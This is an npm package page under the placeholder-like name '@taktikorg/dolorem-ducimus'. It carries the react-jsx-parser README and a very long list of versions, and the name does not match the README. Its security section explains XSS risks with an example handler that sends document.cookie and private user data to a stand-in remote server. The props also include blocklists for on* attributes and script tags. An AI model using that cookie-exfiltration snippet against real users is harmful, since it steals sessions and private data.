4.6.100 • Published 3 months ago

@taktikorg/dolorem-ducimus v4.6.100

Weekly downloads
-
License
MIT
Repository
github
Last release
3 months ago

react-jsx-parser CircleCI Version NPM Downloads License

A React component which can parse JSX and output rendered React Components.

Basic Usage - Injecting JSX as a String

import React from 'react'
import JsxParser from 'react-jsx-parser'
import Library from 'some-library-of-components'

class InjectableComponent extends Component {
  static defaultProps = {
    eventHandler: () => {}
  }
  // ... inner workings of InjectableComponent
}

const MyComponent = () => (
  <JsxParser
    bindings={{
      foo: 'bar',
      myEventHandler: () => { /* ... do stuff ... */ },
    }}
    components={{ InjectableComponent, Library }}
    jsx={`
      <h1>Header</h1>
      <InjectableComponent eventHandler={myEventHandler} truthyProp />
      <Library.SomeComponent someProp={foo} calc={1 + 1} stringProp="foo" />
      <Library.DataFetcher>((data) => <div>{data.name}</div>)</Library.DataFetcher>
    `}
  />
)

Because InjectableComponent is passed into the JsxParser.props.components prop, it is treated as a known element type, and created using React.createElement(...) when parsed out of the JSX. You can also pass in a whole collection of components, as shown by the Library binding, and then access the individual items with LibraryName.ComponentName.

Finally, a note about property bindings. The JsxParser can handle several types of binding:

  • implicit true bindings, such as <InjectableComponent truthyProp /> (equivalent to truthyProp={true})
  • string-value binding, such as stringProp="foo"
  • expression-binding, such as calc={1 + 1}
  • named-value binding, such as eventHandler={myEventHandler} (note that this requires a match in bindings)
  • simple single statement arrow expressions (item) => <p>{item.name}</p>

The component does not support inline function declarations, such as:

  • onClick={function (event) { /* do stuff */ }}, or
  • onKeyPress={event => { /* do stuff */}}
  • Function or arrow functions with bodies () => { return <p>This will not work</p> }

This is to prevent inadvertent XSS attack vectors. Since the primary use of this component is to allow JSX to be stored server-side, and then late-interpreted at the client-side, this restriction prevents a malicious user from stealing info by executing a situation like:

<JsxParser
  bindings={{ userInfo: { private: 'data' } }}
  onClick={() => {
    fetch('/some/remote/server', {
      body: JSON.stringify({ cookies: document.cookie, userInfo })
    })
  }}
/>

Advanced Usage - Injecting Dynamic JSX

// Import desired set of components
import { ComponentA, ComponentB } from 'somePackage/Components'
import ComponentC from 'somePackage/ComponentC'
import ComponentD from 'somePackage/ComponentD'
...
// Load an HTML or XML fragment from a remote API
const dynamicHtml = loadRemoteData()
...
// Within your component's render method, bind these components and the fragment as props
<JsxParser
  bindings={bindings}
  components={{ ComponentA, ComponentB, ComponentC, ComponentD }}
  jsx={dynamicHtml}
/>

Any ComponentA, ComponentB, ComponentC or ComponentD tags in the dynamically loaded XML/HTML fragment will be rendered as React components. Any unrecognized tags will be handled by React.

Note: Non-standard tags may throw errors and warnings, but will typically be rendered in a reasonable way.

Advanced Usage - HTML & Self-Closing Tags

When rendering HTML, standards-adherent editors will render img, hr, br, and other void elements with no trailing />. While this is valid HTML, it is not valid JSX. If you wish to opt-in to a more HTML-like parsing style, set the autoCloseVoidElements prop to true.

Example:

// <hr> has no closing tag, which is valid HTML, but not valid JSX
<JsxParser jsx="<hr><div className='foo'>Foo</div>" />
// Renders: null

// <hr></hr> is invalid HTML, but valid JSX
<JsxParser jsx="<hr></hr><div className='foo'>Foo</div>" />
// Renders: <hr><div class='foo'>Foo</div>

// This is valid HTML, and the `autoCloseVoidElements` prop allows it to render
<JsxParser autoCloseVoidElements jsx="<hr><div className='foo'>Foo</div>" />
// Renders: <hr><div class='foo'>Foo</div>

// This would work in a browser, but will no longer parse with `autoCloseVoidElements`
<JsxParser autoCloseVoidElements jsx="<hr></hr><div className='foo'>Foo</div>" />
// Renders: null

PropTypes / Settings

JsxParser.defaultProps = {
  allowUnknownElements: true, // by default, allow unrecognized elements
  // if false, unrecognized elements like <foo> are omitted and reported via onError

  autoCloseVoidElements: false, // by default, unclosed void elements will not parse. See examples

  bindings: {}, // by default, do not add any additional bindings

  blacklistedAttrs: [/^on.+/i], // default: removes `on*` attributes (onClick, onChange, etc.)
  // any attribute name which matches any of these RegExps will be omitted entirely

  blacklistedTags:  ['script'], // by default, removes all <script> tags

  className: '', // space-delimited classes to add to wrapper (ignored if renderInWrapper=false)

  components: {}, // an object map of component tag-names to their definitions - see above
  // components must extend React.Component, React.PureComponent, or be a Function

  componentsOnly: false, // non-component HTML tags are allowed by default, omitted if true

  disableFragments: false, // if true, React <Fragment />s will not be used.
  // Note: This introduces subtle errors with regard to white-space, and is provided only for
  // backward compatibility with React 15.x

  disableKeyGeneration: false, // if true, rendering will not automatically generate `key` props.
  // Note: This may result in the "Child elements should have a unique 'key' prop " React error.

  jsx: '', // the jsx string to be parsed & rendered

  onError: () => {}, // if specified, any rendering errors are reported via this method

  showWarnings: false, // if true showWarnings, rendering errors are output with console.warn

  renderError: undefined, // if specified, this function can be used to render errors as a fallback

  renderInWrapper: true, // if false, the HTML output will have no <div> wrapper

  renderUnrecognized: tagName => null, // unrecognized tags are rendered via this method
}

Older Browser Support

If your application needs to support older browsers, like IE11, import from react-jsx-parser/dist/es5/react-jsx-parser.min.js, which transpiles the acorn-jsx dependency down to ES5, and also adds additional polyfill support for code used in this package.

Note: not recommended for implementations which only support modern browsers, as the ES5 version is roughly 30% larger.

4.6.100

3 months ago

4.6.99

3 months ago

4.6.98

3 months ago

4.6.97

4 months ago

4.6.96

4 months ago

4.6.95

4 months ago

4.6.94

4 months ago

4.6.93

4 months ago

4.6.92

4 months ago

4.6.91

4 months ago

4.6.90

4 months ago

4.6.89

4 months ago

4.6.88

4 months ago

4.6.87

4 months ago

4.6.86

4 months ago

4.6.85

4 months ago

4.6.84

4 months ago

4.6.83

4 months ago

4.6.82

4 months ago

4.6.81

4 months ago

4.6.80

4 months ago

4.6.79

4 months ago

4.6.78

4 months ago

4.6.77

4 months ago

4.6.76

4 months ago

4.6.75

4 months ago

4.6.74

4 months ago

4.6.73

4 months ago

4.6.72

4 months ago

4.6.71

4 months ago

4.6.70

4 months ago

4.6.69

4 months ago

4.6.68

4 months ago

4.6.67

5 months ago

4.6.66

5 months ago

4.6.65

5 months ago

4.6.64

5 months ago

4.6.63

5 months ago

4.6.62

5 months ago

4.6.61

5 months ago

4.6.60

5 months ago

4.5.60

5 months ago

4.5.59

5 months ago

4.4.59

5 months ago

4.4.58

5 months ago

4.4.57

5 months ago

4.4.56

5 months ago

4.4.55

5 months ago

4.4.54

5 months ago

4.4.53

5 months ago

4.4.52

5 months ago

4.4.51

5 months ago

4.4.50

5 months ago

3.4.50

5 months ago

2.4.50

5 months ago

2.4.49

5 months ago

2.4.48

5 months ago

2.4.47

5 months ago

2.4.46

5 months ago

2.4.45

5 months ago

2.4.44

5 months ago

2.4.43

5 months ago

2.4.42

5 months ago

2.4.41

6 months ago

2.4.40

6 months ago

2.4.39

6 months ago

2.4.38

6 months ago

2.4.37

6 months ago

2.4.36

6 months ago

2.4.35

6 months ago

2.4.34

6 months ago

2.4.33

6 months ago

2.4.32

6 months ago

2.4.31

6 months ago

2.4.30

6 months ago

2.4.29

6 months ago

2.3.29

6 months ago

2.3.28

6 months ago

2.3.27

6 months ago

2.3.26

6 months ago

2.3.25

6 months ago

2.3.24

6 months ago

2.3.23

6 months ago

2.3.22

6 months ago

2.3.21

6 months ago

2.3.20

6 months ago

2.3.19

6 months ago

2.3.18

6 months ago

1.3.18

6 months ago

1.3.17

6 months ago

1.2.17

6 months ago

1.2.16

6 months ago

1.2.15

6 months ago

1.1.15

7 months ago

1.1.14

7 months ago

1.1.13

7 months ago

1.1.12

7 months ago

1.1.11

7 months ago

1.1.10

7 months ago

1.1.9

7 months ago

1.1.8

7 months ago

1.1.7

7 months ago

1.1.6

7 months ago

1.1.5

7 months ago

1.1.4

7 months ago

1.1.3

7 months ago

1.1.2

7 months ago

1.1.1

7 months ago

1.1.0

7 months ago

1.0.0

7 months ago